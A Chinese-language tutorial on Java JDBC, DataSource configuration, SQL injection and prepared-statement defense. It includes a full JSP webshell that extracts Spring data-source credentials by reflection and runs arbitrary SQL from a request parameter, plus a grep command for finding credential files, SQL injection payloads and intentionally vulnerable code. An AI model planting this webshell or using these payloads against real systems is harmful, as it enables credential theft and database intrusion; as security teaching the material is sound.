Java JDBC 数据库连接与数据源:原理与安全实践

本文详细介绍了Java JDBC的基础概念、数据库连接原理,以及数据源DataSource的多种实现和配置方式。深入探讨了`Class.forName`机制与SPI原理,并触及了Spring数据源在授权渗透测试中的应用。

JDBC 基础

JDBC(Java Database Connectivity)是Java提供对数据库进行连接、操作的标准API。Java自身并不会去实现对数据库的连接、查询、更新等操作而是通过抽象出数据库操作的API接口(JDBC),不同的数据库提供商必须实现JDBC定义的接口从而也就实现了对数据库的一系列操作。

JDBC Connection

Java通过java.sql.DriverManager来管理所有数据库的驱动注册,所以如果想要建立数据库连接需要先在java.sql.DriverManager中注册对应的驱动类,然后调用getConnection方法才能连接上数据库。

JDBC定义了一个叫java.sql.Driver的接口类负责实现对数据库的连接,所有的数据库驱动包都必须实现这个接口才能够完成数据库的连接操作。java.sql.DriverManager.getConnection(xx)其实就是间接的调用了java.sql.Driver类的connect方法实现数据库连接的。数据库连接成功后会返回一个叫做java.sql.Connection的数据库连接对象,一切对数据库的查询操作都将依赖于这个Connection对象。

JDBC连接数据库的一般步骤:

  1. 注册驱动,Class.forName("数据库驱动的类名")
  2. 获取连接,DriverManager.getConnection(xxx)

JDBC连接数据库示例代码如下:

String CLASS_NAME = "com.mysql.jdbc.Driver";
String URL = "jdbc:mysql://localhost:3306/mysql"
String USERNAME = "root";
String PASSWORD = "root";

Class.forName(CLASS_NAME);// 注册JDBC驱动类
Connection connection = DriverManager.getConnection(URL, USERNAME, PASSWORD);

数据库配置信息

传统的Web应用的数据库配置信息一般都是存放在WEB-INF目录下的*.properties*.yml*.xml中的,如果是Spring Boot项目的话一般都会存储在jar包中的src/main/resources/目录下。常见的存储数据库配置信息的文件路径如:WEB-INF/applicationContext.xmlWEB-INF/hibernate.cfg.xmlWEB-INF/jdbc/jdbc.properties,一般情况下使用find命令加关键字可以轻松的找出来,如查找Mysql配置信息: find 路径 -type f |xargs grep "com.mysql.jdbc.Driver"

为什么需要Class.forName?

很多人不理解为什么第一步必须是Class.forName(CLASS_NAME);// 注册JDBC驱动类,因为他们永远不会跟进驱动包去一探究竟。

实际上这一步是利用了Java反射+类加载机制往DriverManager中注册了驱动包!

注册驱动包

Class.forName("com.mysql.jdbc.Driver")实际上会触发类加载,com.mysql.jdbc.Driver类将会被初始化,所以static静态语句块中的代码也将会被执行,所以看似毫无必要的Class.forName其实也是暗藏玄机的。如果反射某个类又不想初始化类方法有两种途径:

  1. 使用Class.forName("xxxx", false, loader)方法,将第二个参数传入false。
  2. ClassLoader.load(“xxxx”);

Class.forName可以省去吗?

连接数据库就必须Class.forName(xxx)几乎已经成为了绝大部分人认为的既定事实而不可改变,但是某些人会发现删除Class.forName一样可以连接数据库这又作何解释?

实际上这里又利用了Java的一大特性:Java SPI(Service Provider Interface),因为DriverManager在初始化的时候会调用java.util.ServiceLoader类提供的SPI机制,Java会自动扫描jar包中的META-INF/services目录下的文件,并且还会自动的Class.forName(文件中定义的类),这也就解释了为什么不需要Class.forName也能够成功连接数据库的原因了。

Mysql驱动包示例:

DataSource

在真实的Java项目中通常不会使用原生的JDBCDriverManager去连接数据库,而是使用数据源(javax.sql.DataSource)来代替DriverManager管理数据库的连接。一般情况下在Web服务启动时候会预先定义好数据源,有了数据源程序就不再需要编写任何数据库连接相关的代码了,直接引用DataSource对象即可获取数据库连接了。

常见的数据源有:DBCPC3P0DruidMybatis DataSource,他们都实现于javax.sql.DataSource接口。

SpringBoot配置数据源:

在SpringBoot中只需要在application.propertiesapplication.yml中定义spring.datasource.xxx即可完成DataSource配置。

spring.datasource.url=jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false
spring.datasource.username=root
spring.datasource.password=root
spring.datasource.type=com.alibaba.druid.pool.DruidDataSource
spring.datasource.driver-class-name=com.mysql.jdbc.Driver

Spring 数据源Hack

我们通常可以通过查找Spring数据库配置信息找到数据库账号密码,但是很多时候我们可能会找到非常多的配置项甚至是加密的配置信息,这将会让我们非常的难以确定真实的数据库配置信息。某些时候在授权渗透测试的情况下我们可能会需要传个shell尝试性的连接下数据库(高危操作,请勿违法!)证明下危害,那么您可以在webshell中使用注入数据源的方式来获取数据库连接对象,甚至是读取数据库密码(切记不要未经用户授权违规操作!)

spring-datasource.jsp获取数据源/执行SQL语句示例

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.springframework.context.ApplicationContext" %>
<%@ page import="org.springframework.web.context.support.WebApplicationContextUtils" %>
<%@ page import="javax.sql.DataSource" %>
<%@ page import="java.sql.Connection" %>
<%@ page import="java.sql.PreparedStatement" %>
<%@ page import="java.sql.ResultSet" %>
<%@ page import="java.sql.ResultSetMetaData" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
<style>
    th, td {
        border: 1px solid #C1DAD7;
        font-size: 12px;
        padding: 6px;
        color: #4f6b72;
    }
</style>
<%!
    // C3PO数据源类
    private static final String C3P0_CLASS_NAME = "com.mchange.v2.c3p0.ComboPooledDataSource";

    // DBCP数据源类
    private static final String DBCP_CLASS_NAME = "org.apache.commons.dbcp.BasicDataSource";

    //Druid数据源类
    private static final String DRUID_CLASS_NAME = "com.alibaba.druid.pool.DruidDataSource";

    /**
     * 获取所有Spring管理的数据源
     * @param ctx Spring上下文
     * @return 数据源数组
     */
    List<DataSource> getDataSources(ApplicationContext ctx) {
        List<DataSource> dataSourceList = new ArrayList<DataSource>();
        String[]         beanNames      = ctx.getBeanDefinitionNames();

        for (String beanName : beanNames) {
            Object object = ctx.getBean(beanName);

            if (object instanceof DataSource) {
                dataSourceList.add((DataSource) object);
            }
        }

        return dataSourceList;
    }

    /**
     * 打印Spring的数据源配置信息,当前只支持DBCP/C3P0/Druid数据源类
     * @param ctx Spring上下文对象
     * @return 数据源配置字符串
     * @throws ClassNotFoundException 数据源类未找到异常
     * @throws NoSuchMethodException 反射调用时方法没找到异常
     * @throws InvocationTargetException 反射调用异常
     * @throws IllegalAccessException 反射调用时不正确的访问异常
     */
    String printDataSourceConfig(ApplicationContext ctx) throws ClassNotFoundException,
            NoSuchMethodException, InvocationTargetException, IllegalAccessException {

        List<DataSource> dataSourceList = getDataSources(ctx);

        for (DataSource dataSource : dataSourceList) {
            String className = dataSource.getClass().getName();
            String url       = null;
            String UserName  = null;
            String PassWord  = null;

            if (C3P0_CLASS_NAME.equals(className)) {
                Class clazz = Class.forName(C3P0_CLASS_NAME);
                url = (String) clazz.getMethod("getJdbcUrl").invoke(dataSource);
                UserName = (String) clazz.getMethod("getUser").invoke(dataSource);
                PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
            } else if (DBCP_CLASS_NAME.equals(className)) {
                Class clazz = Class.forName(DBCP_CLASS_NAME);
                url = (String) clazz.getMethod("getUrl").invoke(dataSource);
                UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
                PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
            } else if (DRUID_CLASS_NAME.equals(className)) {
                Class clazz = Class.forName(DRUID_CLASS_NAME);
                url = (String) clazz.getMethod("getUrl").invoke(dataSource);
                UserName = (String) clazz.getMethod("getUsername").invoke(dataSource);
                PassWord = (String) clazz.getMethod("getPassword").invoke(dataSource);
            }

            return "URL:" + url + "<br/>UserName:" + UserName + "<br/>PassWord:" + PassWord + "<br/>";
        }

        return null;
    }
%>
<%
    String sql = request.getParameter("sql");// 定义需要执行的SQL语句

    // 获取Spring的ApplicationContext对象
    ApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(pageContext.getServletContext());

    // 获取Spring中所有的数据源对象
    List<DataSource> dataSourceList = getDataSources(ctx);

    // 检查是否获取到了数据源
    if (dataSourceList == null) {
        out.println("未找到任何数据源配置信息!");
        return;
    }

    out.println("<hr/>");
    out.println("Spring DataSource配置信息获取测试:");
    out.println("<hr/>");
    out.print(printDataSourceConfig(ctx));
    out.println("<hr/>");

    // 定义需要查询的SQL语句
    sql = sql != null ? sql : "select version()";

    for (DataSource dataSource : dataSourceList) {
        out.println("<hr/>");
        out.println("SQL语句:<font color='red'>" + sql + "</font>");
        out.println("<hr/>");

        //从数据源中获取数据库连接对象
        Connection connection = dataSource.getConnection();

        // 创建预编译查询对象
        PreparedStatement pstt = connection.prepareStatement(sql);

        // 执行查询并获取查询结果对象
        ResultSet rs = pstt.executeQuery();

        out.println("<table><tr>");

        // 获取查询结果的元数据对象
        ResultSetMetaData metaData = rs.getMetaData();

        // 从元数据中获取字段信息
        for (int i = 1; i <= metaData.getColumnCount(); i++) {
            out.println("<th>" + metaData.getColumnName(i) + "(" + metaData.getColumnTypeName(i) + ")\t" + "</th>");
        }

        out.println("<tr/>");

        // 获取JDBC查询结果
        while (rs.next()) {
            out.println("<tr>");

            for (int i = 1; i <= metaData.getColumnCount(); i++) {
                out.println("<td>" + rs.getObject(metaData.getColumnName(i)) + "</td>");
            }

            out.println("<tr/>");
        }

        rs.close();
        pstt.close();
    }
%>

读取数据源信息和执行SQL语句效果:

代码中各部分的详细解释:

JSP指令部分

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.springframework.context.ApplicationContext" %>
<%@ page import="org.springframework.web.context.support.WebApplicationContextUtils" %>
<%@ page import="javax.sql.DataSource" %>
<%@ page import="java.sql.Connection" %>
<%@ page import="java.sql.PreparedStatement" %>
<%@ page import="java.sql.ResultSet" %>
<%@ page import="java.sql.ResultSetMetaData" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.lang.reflect.InvocationTargetException" %>
  • page 指令设置了页面的内容类型和编码。
  • import 指令导入了Spring框架、JDBC和其他所需的Java类。

Java代码部分

数据源类名和辅助方法

<%!
    private static final String C3P0_CLASS_NAME = "com.mchange.v2.c3p0.ComboPooledDataSource";
    private static final String DBCP_CLASS_NAME = "org.apache.commons.dbcp.BasicDataSource";
    private static final String DRUID_CLASS_NAME = "com.alibaba.druid.pool.DruidDataSource";

    List<DataSource> getDataSources(ApplicationContext ctx) {
        List<DataSource> dataSourceList = new ArrayList<DataSource>();
        String[] beanNames = ctx.getBeanDefinitionNames();

        for (String beanName : beanNames) {
            Object object = ctx.getBean(beanName);
            if (object instanceof DataSource) {
                dataSourceList.add((DataSource) object);
            }
        }

        return dataSourceList;
    }

    String printDataSourceConfig(ApplicationContext ctx) throws ClassNotFoundException,
            NoSuchMethodException, InvocationTargetException, IllegalAccessException {

        List<DataSource> dataSourceList = getDataSources(ctx);

        for (DataSource dataSource : dataSourceList) {
            String className = dataSource.getClass().getName();
            String url = null;
            String userName = null;
            String password = null;

            if (C3P0_CLASS_NAME.equals(className)) {
                Class clazz = Class.forName(C3P0_CLASS_NAME);
                url = (String) clazz.getMethod("getJdbcUrl").invoke(dataSource);
                userName = (String) clazz.getMethod("getUser").invoke(dataSource);
                password = (String) clazz.getMethod("getPassword").invoke(dataSource);
            } else if (DBCP_CLASS_NAME.equals(className)) {
                Class clazz = Class.forName(DBCP_CLASS_NAME);
                url = (String) clazz.getMethod("getUrl").invoke(dataSource);
                userName = (String) clazz.getMethod("getUsername").invoke(dataSource);
                password = (String) clazz.getMethod("getPassword").invoke(dataSource);
            } else if (DRUID_CLASS_NAME.equals(className)) {
                Class clazz = Class.forName(DRUID_CLASS_NAME);
                url = (String) clazz.getMethod("getUrl").invoke(dataSource);
                userName = (String) clazz.getMethod("getUsername").invoke(dataSource);
                password = (String) clazz.getMethod("getPassword").invoke(dataSource);
            }

            return "URL:" + url + "<br/>UserName:" + userName + "<br/>PassWord:" + password + "<br/>";
        }

        return null;
    }
%>
  • C3P0_CLASS_NAME, DBCP_CLASS_NAME, DRUID_CLASS_NAME: 定义了常见的数据源类名。
  • getDataSources(ApplicationContext ctx): 从Spring上下文中获取所有数据源。
  • printDataSourceConfig(ApplicationContext ctx): 打印每个数据源的配置信息(URL、用户名、密码)。通过反射机制调用数据源的getter方法来获取配置信息。

主逻辑

<%
    String sql = request.getParameter("sql");

    ApplicationContext ctx = WebApplicationContextUtils.getWebApplicationContext(pageContext.getServletContext());
    List<DataSource> dataSourceList = getDataSources(ctx);

    if (dataSourceList == null) {
        out.println("未找到任何数据源配置信息!");
        return;
    }

    out.println("<hr/>");
    out.println("Spring DataSource配置信息获取测试:");
    out.println("<hr/>");
    out.print(printDataSourceConfig(ctx));
    out.println("<hr/>");

    sql = sql != null ? sql : "select version()";

    for (DataSource dataSource : dataSourceList) {
        out.println("<hr/>");
        out.println("SQL语句:<font color='red'>" + sql + "</font>");
        out.println("<hr/>");

        Connection connection = dataSource.getConnection();
        PreparedStatement pstt = connection.prepareStatement(sql);
        ResultSet rs = pstt.executeQuery();

        out.println("<table><tr>");
        ResultSetMetaData metaData = rs.getMetaData();

        for (int i = 1; i <= metaData.getColumnCount(); i++) {
            out.println("<th>" + metaData.getColumnName(i) + "(" + metaData.getColumnTypeName(i) + ")\t" + "</th>");
        }

        out.println("<tr/>");

        while (rs.next()) {
            out.println("<tr>");

            for (int i = 1; i <= metaData.getColumnCount(); i++) {
                out.println("<td>" + rs.getObject(metaData.getColumnName(i)) + "</td>");
            }

            out.println("<tr/>");
        }

        rs.close();
        pstt.close();
    }
%>
  • 从请求参数中获取SQL语句,如果没有提供则使用默认的 select version()
  • 获取Spring的ApplicationContext对象。
  • 获取所有数据源对象,并检查是否为空。
  • 打印每个数据源的配置信息。
  • 对每个数据源执行SQL查询,并将结果以表格形式显示。
  • 使用JDBC API进行数据库操作(获取连接、创建预编译语句、执行查询、处理结果集)。

Java Web Server 数据源

除了第三方数据源库实现,标准的Web容器自身也提供了数据源服务,通常会在容器中配置DataSource信息并注册到JNDI(Java Naming and Directory Interface)中,在Web应用中我们可以通过JNDI的接口lookup(定义的JNDI路径)来获取到DataSource对象。

Tomcat JNDI DataSource

Tomcat配置JNDI数据源需要手动修改Tomcat目录/conf/context.xml文件,参考:Tomcat JNDI Datasource

Resin JNDI DataSource

Resin需要修改resin.xml,添加database配置,参考:Resin Database configuration

JDBC SQL注入

SQL注入(SQL injection)是因为应用程序在执行SQL语句的时候没有正确的处理用户输入字符串,将用户输入的恶意字符串拼接到了SQL语句中执行,从而导致了SQL注入。

SQL注入是一种原理非常简单且危害程度极高的恶意攻击,我们可以理解为不同程序语言的注入方式是一样的。

本章节只讨论基于JDBC查询的SQL注入,暂不讨论基于ORM实现的框架注入,也不会过多的讨论注入的深入用法、函数等。

SQL注入示例

在SQL注入中如果需要我们手动闭合SQL语句的'的注入类型称为字符型注入、反之成为整型注入

字符型注入

假设程序想通过用户名查询用户个人信息,那么它最终执行的SQL语句可能是这样:

select host,user from mysql.user where user = '用户输入的用户名'

正常情况下用户只需传入自己的用户名,如:root,程序会自动拼成一条完整的SQL语句:

select host,user from mysql.user where user = 'root'

查询结果如下:

mysql> select host,user from mysql.user where user = 'root';
+-----------+------+
| host      | user |
+-----------+------+
| localhost | root |
+-----------+------+
1 row in set (0.00 sec)

但假设黑客传入了恶意的字符串:**root' and 1=2 union select 1,'2**去闭合SQL语句,那么SQL语句的含义将会被改变:

select host,user from mysql.user where user = 'root' and 1=2 union select 1,'2'

查询结果如下:

mysql> select host,user from mysql.user where user = 'root' and 1=2 union select 1,'2';
+------+------+
| host | user |
+------+------+
| 1    | 2    |
+------+------+
1 row in set (0.00 sec)

Java代码片段如下:

// 获取用户传入的用户名
String user = request.getParameter("user");

// 定义最终执行的SQL语句,这里会将用户从请求中传入的host字符串拼接到最终的SQL
// 语句当中,从而导致了SQL注入漏洞。
String sql = "select host,user from mysql.user where user = '" + user + "'";

// 创建预编译对象
PreparedStatement pstt = connection.prepareStatement(sql);

// 执行SQL语句并获取返回结果对象
ResultSet rs = pstt.executeQuery();

如上示例程序,sql变量拼接了我们传入的用户名字符串并调用executeQuery方法执行了含有恶意攻击的SQL语句。我们只需要在用户传入的user参数中拼凑一个能够闭合SQL语句又不影响SQL语法的恶意字符串即可实现SQL注入攻击!需要我们使用'(单引号)闭合的SQL注入漏洞我们通常叫做字符型SQL注入

快速检测字符串类型注入方式

在渗透测试中我们判断字符型注入点最快速的方式就是在参数值中加'(单引号),如:http://localhost/1.jsp?id=1',如果页面返回500错误或者出现异常的情况下我们通常可以初步判定该参数可能存在注入。

整型注入

假设我们执行的SQL语句是:

select id, username, email from sys_user where id = 用户ID

查询结果如下:

mysql> select id, username, email from sys_user where id = 1;
+----+----------+-------------------+
| id | username | email             |
+----+----------+-------------------+
|  1 | yzmm     | admin@javaweb.org |
+----+----------+-------------------+
1 row in set (0.01 sec)

假设程序预期用户输入一个数字类型的参数作为查询条件,且输入内容未经任何过滤直接就拼到了SQL语句当中,那么也就产生了一种名为整型SQL注入的漏洞。

对应的程序代码片段:

// 获取用户传入的用户ID
String id = request.getParameter("id");

// 定义最终执行的SQL语句,这里会将用户从请求中传入的host字符串拼接到最终的SQL
// 语句当中,从而导致了SQL注入漏洞。
String sql = "select id, username, email from sys_user where id =" + id;

// 创建预编译对象
PreparedStatement pstt = connection.prepareStatement(sql);

// 执行SQL语句并获取返回结果对象
ResultSet rs = pstt.executeQuery();

快速检测整型注入方式

整型注入相比字符型更容易检测,使用参数值添加'(单引号)的方式或者使用运算符数据库子查询睡眠函数(一定慎用!如:sleep)等。

检测方式示例:

id=2-1
id=(2)
id=(select 2 from dual)
id=(select 2)

盲注时不要直接使用sleep(n)!例如: id=sleep(3)

对应的SQL语句select username from sys_user where id = sleep(3)

执行结果如下:

mysql> select username from sys_user where id= sleep(3);
Empty set (24.29 sec)

为什么只是sleep了3秒钟最终变成了24秒?因为sleep语句执行了select count(1) from sys_user遍!当前sys_user表因为有8条数据所以执行了8次。

如果非要使用sleep的方式可以使用子查询的方式代替:

id=2 union select 1, sleep(3)

查询结果如下:

mysql> select username,email from sys_user where id=1 union select 1, sleep(3);
+----------+-------------------+
| username | email             |
+----------+-------------------+
| yzmm     | admin@javaweb.org |
| 1        | 0                 |
+----------+-------------------+
2 rows in set (3.06 sec)

SQL注入防御

既然我们学会了如何提交恶意的注入语句,那么我们到底应该如何去防御注入呢?通常情况下我们可以使用以下方式来防御SQL注入攻击:

  1. 转义用户请求的参数值中的'(单引号)"(双引号)
  2. 限制用户传入的数据类型,如预期传入的是数字,那么使用:Integer.parseInt()/Long.parseLong等转换成整型。
  3. 使用PreparedStatement对象提供的SQL语句预编译。

切记只过滤'(单引号)"(双引号)并不能有效的防止整型注入,但是可以有效的防御字符型注入。解决注入的根本手段应该使用参数预编译的方式。

PreparedStatement SQL预编译查询

将上面存在注入的Java代码改为?(问号)占位的方式即可实现SQL预编译查询。

示例代码片段:

// 获取用户传入的用户ID
String id = request.getParameter("id");

// 定义最终执行的SQL语句,这里会将用户从请求中传入的host字符串拼接到最终的SQL
// 语句当中,从而导致了SQL注入漏洞。
String sql = "select id, username, email from sys_user where id =? ";

// 创建预编译对象
PreparedStatement pstt = connection.prepareStatement(sql);

// 设置预编译查询的第一个参数值
pstt.setObject(1, id);

// 执行SQL语句并获取返回结果对象
ResultSet rs = pstt.executeQuery();

需要特别注意的是并不是使用PreparedStatement来执行SQL语句就没有注入漏洞,而是将用户传入部分使用?(问号)占位符表示并使用PreparedStatement预编译SQL语句才能够防止注入!

JDBC预编译

可能很多人都会有一个疑问:JDBC中使用PreparedStatement对象的SQL语句究竟是如何实现预编译的?接下来我们将会以Mysql驱动包为例,深入学习JDBC预编译实现。

JDBC预编译查询分为客户端预编译和服务器端预编译,对应的URL配置项是:useServerPrepStmts,当useServerPrepStmtsfalse时使用客户端(驱动包内完成SQL转义)预编译,useServerPrepStmtstrue时使用数据库服务器端预编译。

数据库服务器端预编译

JDBC URL配置示例:

jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false&useServerPrepStmts=true

代码片段:

String sql = "select host,user from mysql.user where user = ? ";
PreparedStatement pstt = connection.prepareStatement(sql);
pstt.setObject(1, user);

客户端预编译

JDBC URL配置示例:

jdbc:mysql://localhost:3306/mysql?autoReconnect=true&zeroDateTimeBehavior=round&useUnicode=true&characterEncoding=UTF-8&useOldAliasMetadataBehavior=true&useOldAliasMetadataBehavior=true&useSSL=false&useServerPrepStmts=false

代码片段:

String sql = "select host,user from mysql.user where user = ? ";
PreparedStatement pstt = connection.prepareStatement(sql);
pstt.setObject(1, user);

Mysql预编译

Mysql默认提供了预编译命令:prepare,使用prepare命令可以在Mysql数据库服务端实现预编译查询。

prepare查询示例:

prepare stmt from 'select host,user from mysql.user where user = ?';
set @username='root';
execute stmt using @username;

查询结果如下:

mysql> prepare stmt from 'select host,user from mysql.user where user = ?';
Query OK, 0 rows affected (0.00 sec)
Statement prepared

mysql> set @username='root';
Query OK, 0 rows affected (0.00 sec)

mysql> execute stmt using @username;
+-----------+------+
| host      | user |
+-----------+------+
| localhost | root |
+-----------+------+
1 row in set (0.00 sec)

留言讨论

0 条留言

正在加载留言...